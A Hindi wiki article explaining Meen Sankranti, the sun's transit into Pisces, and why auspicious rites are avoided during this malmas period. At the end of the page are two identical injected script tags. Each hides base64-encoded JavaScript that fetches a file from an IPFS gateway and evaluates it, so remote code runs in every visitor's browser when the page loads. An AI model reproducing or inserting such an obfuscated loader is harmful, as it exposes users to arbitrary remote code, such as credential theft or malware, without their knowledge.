मीन संक्रांति

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 09:40, 12 मार्च 2015 का अवतरण (''''मीन संक्रांति''' का हिन्दू धर्म में बड़ा ही महत्त्...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

मीन संक्रांति का हिन्दू धर्म में बड़ा ही महत्त्व बताया गया है। सूर्य जब मीन राशि में परिभ्रमण करता है, तब यह अवस्था सूर्य की मीन संक्रांति कही जाती है।

  • ज्योतिष के अनुसार सूर्य का जब-जब गुरु की राशि धनु व मीन में परिभ्रमण होता है अथवा धनु व मीन संक्रांति होती है, वह 'मलमास' (खरमास) कहलाती है।
  • मलमास में मांगलिक कार्य वर्जित रहते हैं। भक्ति, साधना व उत्सव का क्रम जारी रहता है।
  • शास्त्रीय मान्यता के अनुसार मलमास में नामकरण, विद्या आरंभ, कर्ण छेदन, अन्नप्राशन, चौलकर्म, उपनयन संस्कार, विवाह संस्कार, ग्रह प्रवेश तथा वास्तु पूजन आदि मांगलिक कार्य वर्जित माने गए हैं।[1]
  • सूर्य की मीन संक्रांति में भले ही मांगलिक कार्यों पर विराम रहता है, किंतु भक्ति का क्रम जारी रहता है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. सूर्य का मीन राशि में प्रवेश (हिन्दी) वेबदुनिया। अभिगमन तिथि: 12 मार्च, 2015।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>